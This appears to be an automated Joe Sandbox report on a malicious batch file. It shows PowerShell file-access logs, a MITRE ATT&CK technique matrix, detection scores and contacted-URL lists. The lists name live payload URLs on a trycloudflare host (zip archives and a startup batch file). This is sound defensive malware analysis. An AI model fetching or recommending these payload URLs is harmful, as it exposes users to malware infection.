Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Command and Scripting Interpreter	1 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
J1IrCccVO6.bat	47%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod.C:	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
google.com	142.250.185.174	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
ride-fatal-italic-information.trycloudflare.com	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1793785609.000001E65399B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1793785609.000001E653858000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1773745918.000001E64514A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1943377978.000002299593A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1943377978.0000022995A7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.0000022987226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2058015112.000002D62370A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D614EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/DXJS.zipQ	AppInstallerPythonRedirector.exe, 0000000D.00000002.1850888488.00000207AD002000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/dxjs.zip	powershell.exe, 00000004.00000002.1773526983.000001E641A84000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/startupppp.batCommonProgr	powershell.exe, 00000013.00000002.1882253266.0000022983C54000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000018.00000002.1972812612.000002D613783000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.microsoft	powershell.exe, 00000013.00000002.1882253266.0000022983C54000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000018.00000002.1972812612.000002D613783000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipV	powershell.exe, 00000004.00000002.1773227846.000001E641837000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000004.00000002.1773745918.000001E644412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.00000229864F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D614183000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip	powershell.exe, 00000018.00000002.1968442214.000002D611539000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip	powershell.exe, 00000004.00000002.1773227846.000001E6417B0000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000008.00000002.1833310102.0000027257DB9000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000008.00000002.1833408167.00000272596F0000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000A.00000002.1837497540.000001B7B3D02000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000A.00000002.1837137984.000001B7B3C02000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000A.00000002.1837248157.000001B7B3C13000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1844321999.000001FA01102000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1844176704.000001FA01013000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000C.00000002.1848308528.0000023E82302000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000C.00000002.1848196237.0000023E82213000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000C.00000002.1847265553.0000023E82202000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000D.00000002.1850888488.00000207AD002000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000D.00000002.1850927813.00000207AD013000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000D.00000002.1851030273.00000207AD102000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000E.00000002.1854441149.000001E42B702000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000E.00000002.1853677931.000001E42B613000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000F.00000002.1857688206.000001EFBD213000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000F.00000002.1857869000.000001EFBD302000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 00000010.00000002.1860096088.000001A52BC13000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 00000010.00000002.1860256285.000001A52BD02000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000012.00000002.1862248290.000002219A4F0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipHOMEDRIVE=C:HOMEPATH=	powershell.exe, 00000013.00000002.1882253266.0000022983C54000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888236540.0000022985573000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2068297007.000002D62B61D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611866000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968308862.000002D611513000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611864000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/startupppp.batjf	powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipHOMEDRIVE	AppInstallerPythonRedirector.exe, 0000000C.00000002.1848196237.0000023E82213000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip.	powershell.exe, 00000018.00000002.1968442214.000002D611539000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.ver)	svchost.exe, 00000005.00000002.2981339751.000001BF9A400000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.5.dr	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/DXJS.zipg	powershell.exe, 00000004.00000002.1773227846.000001E641837000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipHOMEDRIVE0	AppInstallerPythonRedirector.exe, 0000000A.00000002.1837248157.000001B7B3C13000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1844176704.000001FA01013000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000D.00000002.1850927813.00000207AD013000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000E.00000002.1853677931.000001E42B613000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000F.00000002.1857688206.000001EFBD213000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 00000010.00000002.1860096088.000001A52BC13000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/startupppp.batCommonProgramFiles=C:	powershell.exe, 00000013.00000002.1882253266.0000022983C54000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888236540.0000022985573000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2068297007.000002D62B61D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611866000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968308862.000002D611513000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611864000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000018.00000002.1972812612.000002D613783000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipm	powershell.exe, 00000004.00000002.1773227846.000001E6417B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.5.dr	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipYxm	powershell.exe, 00000013.00000002.1880841045.0000022983909000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat8	powershell.exe, 00000018.00000002.1968442214.000002D611539000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.5.dr	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip1	powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000005.00000003.1744513041.000001BF9A6C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.dr	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipD	AppInstallerPythonRedirector.exe, 0000000B.00000002.1844125473.000001FA01002000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000E.00000002.1853634957.000001E42B602000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000F.00000002.1857616346.000001EFBD202000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 00000010.00000002.1860041488.000001A52BC02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip7	powershell.exe, 00000004.00000002.1773227846.000001E6417D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat?	powershell.exe, 00000018.00000002.2071539198.000002D62B7C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ride-fatal-italic-information.trycloudflare.com	powershell.exe, 00000004.00000002.1773745918.000001E644412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.00000229864F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D614183000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://ride-fatal-italic-information.trycloudflare.com/startupppp.batCommonProgramFiles=	powershell.exe, 00000018.00000002.2071539198.000002D62B7F0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1793785609.000001E65399B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1793785609.000001E653858000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1773745918.000001E64514A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1943377978.000002299593A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1943377978.0000022995A7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.0000022987226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2058015112.000002D62370A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D614EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat	powershell.exe, 00000013.00000002.1888856354.0000022986EB2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968442214.000002D6115BA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968308862.000002D611513000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611864000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968442214.000002D611539000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1773745918.000001E6437E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.00000229858C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D613551000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloud	powershell.exe, 00000013.00000002.1880841045.0000022983909000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1773745918.000001E6437E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.00000229858C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D613551000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000005.00000003.1744513041.000001BF9A6C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	false	URL Reputation: safe	unknown
https://ride-fatal-italic-information.trycloudflare.com/ftsp.zip	powershell.exe, 00000018.00000002.2071459550.000002D62B6E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States		15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false

Private

IP
192.168.2.7
192.168.2.9
192.168.2.4
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542799
Start date and time:	2024-10-26 13:43:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	J1IrCccVO6.bat renamed because original name is a hash value
Original Sample Name:	0fccf3d1fb38fa337baf707056f97ef011def859901bb922a4d0a1f25745e64f.bat
Detection:	MAL
Classification:	mal76.evad.winBAT@73/19@37/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 8 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 216.58.212.142, 108.177.15.84, 34.104.35.123, 184.28.90.27, 217.20.57.34, 192.229.221.95, 93.184.221.240, 172.217.16.195, 216.58.206.78
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target powershell.exe, PID 764 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8080 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8608 because it is empty
